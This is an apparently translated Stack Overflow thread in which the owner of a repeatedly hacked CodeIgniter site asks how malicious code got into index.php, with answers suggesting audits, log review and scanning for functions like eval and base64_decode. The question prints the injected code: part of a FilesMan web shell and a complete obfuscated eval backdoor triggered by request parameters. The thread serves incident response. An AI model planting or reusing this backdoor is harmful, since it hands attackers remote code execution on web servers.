【问题标题】:Codeigniter application getting hacked, code injected in index.phpCodeigniter 应用程序被黑,代码注入 index.php
【发布时间】:2012-08-29 03:37:25
【问题描述】:

我有一个不断被黑客入侵的 codeigniter 2.0.2 项目。主要有两个问题:

  • 恶意代码被添加到index.php 文件的开头
  • 恶意文件被添加到服务器

根据主机,没有 FTP 日志表明这些文件已上传。

  1. 由于没有与恶意文件相关的 FTP 上传日志 - 这是否意味着它必须是通过站点本身的漏洞利用,例如联系方式或上传表格?

  2. 该站点位于共享主机上 - 将其作为同一服务器上的站点的代码也被黑客入侵,这会导致问题吗?

  3. 如果我将 index.php 的文件名更改为其他名称会有帮助吗?

  4. index.php 正在被修改,我应该将其 CHMOD 为 644 吗?

  5. 我一直在寻找 codeigniter 项目的建议权限,但尚未找到任何来源。除了上传/日志目录 (777) 之外,我在整个网站上都在想 644 - 这听起来好吗?

注入index.php文件顶部的代码:

<?php if(isset($_GET["t6371n"])){ $auth_pass="";$color="#df5";$default_action="FilesMan";$default_use_ajax=true;$default_charset="Windows-

然后是一个长 preg_replace 语句和一个长编码字符串。接下来是第二条语句:

if(isset($_GET["w6914t"])){$d=substr(8,1);foreach(array(36,112,61,64,36,95,80,79,83,84,91,39,112,49,39,93,59,36,109,61,115,112,114,105,110,116,102,40,34,37,99,34,44,57,50,41,59,105,102,40,115,116,114,112,111,115,40,36,112,44,34,36,109,36,109,34,41,41,123,36,112,61,115,116,114,105,112,115,108,97,115,104,101,115,40,36,112,41,59,125,111,98,95,115,116,97,114,116,40,41,59,101,118,97,108,40,36,112,41,59,36,116,101,109,112,61,34,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,66,121,73,100,40,39,80,104,112,79,117,116,112,117,116,39,41,46,115,116,121,108,101,46,100,105,115,112,108,97,121,61,39,39,59,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,66,121,73,100,40,39,80,104,112,79,117,116,112,117,116,39,41,46,105,110,110,101,114,72,84,77,76,61,39,34,46,97,100,100,99,115,108,97,115,104,101,115,40,104,116,109,108,115,112,101,99,105,97,108,99,104,97,114,115,40,111,98,95,103,101,116,95,99,108,101,97,110,40,41,41,44,34,92,110,92,114,92,116,92,92,39,92,48,34,41,46,34,39,59,92,110,34,59,101,99,104,111,40,115,116,114,108,101,110,40,36,116,101,109,112,41,46,34,92,110,34,46,36,116,101,109,112,41,59,101,120,105,116,59)as$c){$d.=sprintf((substr(urlencode(print_r(array(),1)),5,1).c),$c);}eval($d);}

有一个联系表单和一个用户可以使用 CKFinder 2.0.1 上传项目的表单。打算更新一下,看看能不能解决。

【问题讨论】:

  • 你在服务器上使用的是什么 php 版本?它容易受到“?-s”黑客的影响吗?攻击者可能会通过网站某处的上传表单上传 php 脚本,或者他使用“?-s”explot 自动预置带有有效负载的远程 php 文件
  • 添加到 index.php 的代码是什么样子的?
  • 如果您使用的是共享主机,也可能是您的“邻居”有问题
  • 如果您发布的代码会有所帮助。
  • @xylar 好吧,所有代码都会有所帮助...但是 index.php 以及处理联系人和上传表单中的代码的任何文件都是一个不错的起点。

标签: php security codeigniter codeigniter-2 code-injection


【解决方案1】:

我知道这是一个旧线程,但我想添加一个选项来找出问题发生的原因和位置。

创建一个每次加载的钩子(无论在哪个阶段)并将 $this->input->post() 和 ->get() 连同类名和方法名一起转储到日志文件中。

这样您就可以足够快地看到问题的开始位置。

【讨论】:

    【解决方案2】:

    我认为您确实需要执行代码审计以找出核心漏洞所在。除非您运行某种完整性检查,否则您无法确定攻击者是否在其他文件中放置了后门。

    作为一种快速修复,我建议您尽可能安装 ModSecurity Apache 模块。接下来,寻找代码中可能发生文件注入的地方(通常是文件上传函数)。

    【讨论】:

      【解决方案3】:

      你可以做几件事:

      • 检查您的日志文件是否有对具有奇怪或不熟悉名称的文件的 POST 请求,例如.cache_123.php - 这些可能是后门脚本,尤其是以点开头的文件名,因此将其隐藏在(常规)文件系统之外。
      • 下载完整的实时站点并在站点范围内搜索诸如 base64_decodeexecpreg_replacepassthrusystemsystemshell_execevalFilesMan 等内容
      • 通过防病毒软件(AVG、Avast 等)运行您的整个(实时下载的)网站来检查它
      • 如果可能,chmod 上传目录 775 而不是 777

      【讨论】:

      • 我会将“eval”添加到您要检查的函数列表中。
      • @Mansfield 是的,已经添加了那个。
      • 谢谢,现在刚刚完成这些检查。有一个不熟悉的名称的发布请求,并且与管理员上传表单相关联 - 假设这可能是利用点?添加到 index.php 的代码有一个 eval 现在已被删除,不再有。 AVG 说文件没问题。
      • 用不熟悉的名字打开那个文件,你有没有看到任何可疑的,可能是混淆的代码?我最近不得不处理类似的事情,而 AVG 也没有发现任何东西。结果发现文件系统深处有一个不知名的文件,它使用preg_replace生成后门。
      • @xylar 当然,“添加”到 index.php 的代码有一个 eval,但这仍然引出了恶意代码最初是如何到达那里的问题。再一次,发布实际代码将是最有帮助的事情:)
      【解决方案4】:

      我认为通过 PHP 应用程序而不是 FTP 服务器更容易破解。你有上传表格吗?如果您无法使用 VPS,请尝试让您的主机将其移至另一台共享服务器。

      【讨论】:

        猜你喜欢
        • 2013-09-11
        • 1970-01-01
        • 1970-01-01
        • 1970-01-01
        • 1970-01-01
        • 2014-12-03
        • 1970-01-01
        • 2011-10-01
        • 1970-01-01
        相关资源
        最近更新 更多